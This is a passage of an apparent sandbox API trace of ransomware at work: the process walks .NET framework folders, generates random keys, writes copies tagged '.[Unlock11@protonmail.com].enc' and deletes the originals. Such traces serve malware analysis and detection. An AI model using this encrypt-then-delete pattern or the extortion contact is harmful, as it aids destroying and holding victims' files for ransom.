dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0229.181] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\tvthee.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\tvthee.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7072c9d0, ftCreationTime.dwHighDateTime=0x1d4bb91, ftLastAccessTime.dwLowDateTime=0x5f749ce0, ftLastAccessTime.dwHighDateTime=0x1d506db, ftLastWriteTime.dwLowDateTime=0x5f749ce0, ftLastWriteTime.dwHighDateTime=0x1d506db, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1 [0229.181] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a34 | out: pbBuffer=0x3671a34) returned 1 [0229.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0229.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0229.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0229.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf08 [0229.182] CreateFileA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\tvthee.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\tvthee.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.182] GetFileType (hFile=0x334) returned 0x1 [0229.182] GetFileType (hFile=0x334) returned 0x1 [0229.182] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.182] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.182] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.182] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.183] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.183] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.183] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.183] CreateFileA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\tvthee.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\microsoft.net\\tvthee.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.242] GetFileType (hFile=0x39c) returned 0x1 [0229.242] GetFileType (hFile=0x39c) returned 0x1 [0229.244] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.245] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.245] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.275] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.275] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.275] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.275] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.279] CloseHandle (hObject=0x39c) returned 1 [0229.280] CloseHandle (hObject=0x334) returned 1 [0229.280] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\tvthee.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\tvthee.exe")) returned 0 [0229.280] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xbc17eb24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4adfea18, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0229.282] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xbc17eb24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4adfea18, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.282] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="adodb.dll", cAlternateFileName="")) returned 1 [0229.283] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a238f8c, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x7a4aa8, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Microsoft.mshtml.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0229.283] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a2ab773, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5440, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Microsoft.stdformat.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0229.283] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a402c44, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="msdatasrc.dll", cAlternateFileName="MSDATA~1.DLL")) returned 1 [0229.283] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae24be2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="stdole.dll", cAlternateFileName="")) returned 1 [0229.283] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae24be2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="stdole.dll", cAlternateFileName="")) returned 0 [0229.283] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0229.284] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\adodb.dll")) returned 0x20 [0229.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a22a8 | out: hHeap=0x2ad0000) returned 1 [0229.291] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0229.291] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\microsoft.mshtml.dll")) returned 0x20 [0229.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0229.291] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\microsoft.stdformat.dll")) returned 0x20 [0229.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0229.293] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\msdatasrc.dll")) returned 0x20 [0229.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0229.294] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\stdole.dll")) returned 0x20 [0229.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2098 | out: hHeap=0x2ad0000) returned 1 [0229.295] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881198, Size=0x20) returned 0x33ea918 [0229.296] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll", lpFilePart=0x9bada4*="adodb.dll") returned 0x49 [0229.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0229.296] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll", lpFilePart=0x9bada4*="Microsoft.mshtml.dll") returned 0x54 [0229.296] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll", lpFilePart=0x9bada4*="Microsoft.stdformat.dll") returned 0x57 [0229.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0229.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0229.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0229.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0229.297] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll", lpFilePart=0x9bada4*="msdatasrc.dll") returned 0x4d [0229.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0229.297] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll", lpFilePart=0x9bada4*="stdole.dll") returned 0x4a [0229.297] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f74d0 [0229.297] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.298] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9beb855b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9beb855b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9beb855b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3d63, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="AssemblyList_4_client.xml", cAlternateFileName="")) returned 1 [0229.298] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce8441a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9ce8441a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9ce8441a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="")) returned 1 [0229.298] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce8441a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9ce8441a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9ce8441a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="")) returned 0 [0229.298] FindClose (in: hFindFile=0x10f74d0 | out: hFindFile=0x10f74d0) returned 1 [0229.298] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml")) returned 0x20 [0229.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2930 | out: hHeap=0x2ad0000) returned 1 [0229.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0229.300] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml")) returned 0x20 [0229.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a27d0 | out: hHeap=0x2ad0000) returned 1 [0229.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea918 | out: hHeap=0x2ad0000) returned 1 [0229.300] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml", lpFilePart=0x9bada4*="AssemblyList_4_client.xml") returned 0x49 [0229.301] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9beb855b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9beb855b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9beb855b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3d63)) returned 1 [0229.301] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671354 | out: pbBuffer=0x3671354) returned 1 [0229.301] CreateFileA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.301] GetFileType (hFile=0x334) returned 0x1 [0229.302] GetFileType (hFile=0x334) returned 0x1 [0229.302] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.302] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.302] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.302] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.302] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.302] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.302] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.302] CreateFileA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.304] GetFileType (hFile=0x39c) returned 0x1 [0229.304] GetFileType (hFile=0x39c) returned 0x1 [0229.304] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.304] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.304] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.305] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.305] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.305] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.305] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.307] CloseHandle (hObject=0x39c) returned 1 [0229.308] CloseHandle (hObject=0x334) returned 1 [0229.308] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml")) returned 1 [0229.308] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml", lpFilePart=0x9bada4*="AssemblyList_4_extended.xml") returned 0x4b [0229.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0229.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0229.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0229.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0229.309] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce8441a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9ce8441a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9ce8441a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x201c)) returned 1 [0229.309] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36719bc | out: pbBuffer=0x36719bc) returned 1 [0229.309] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0229.309] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0229.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0229.309] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac88 [0229.310] CreateFileA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.310] GetFileType (hFile=0x334) returned 0x1 [0229.310] GetFileType (hFile=0x334) returned 0x1 [0229.310] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.310] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.310] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.311] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.311] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.311] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.311] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.311] CreateFileA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.311] GetFileType (hFile=0x39c) returned 0x1 [0229.311] GetFileType (hFile=0x39c) returned 0x1 [0229.312] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.312] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.312] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.312] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.312] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 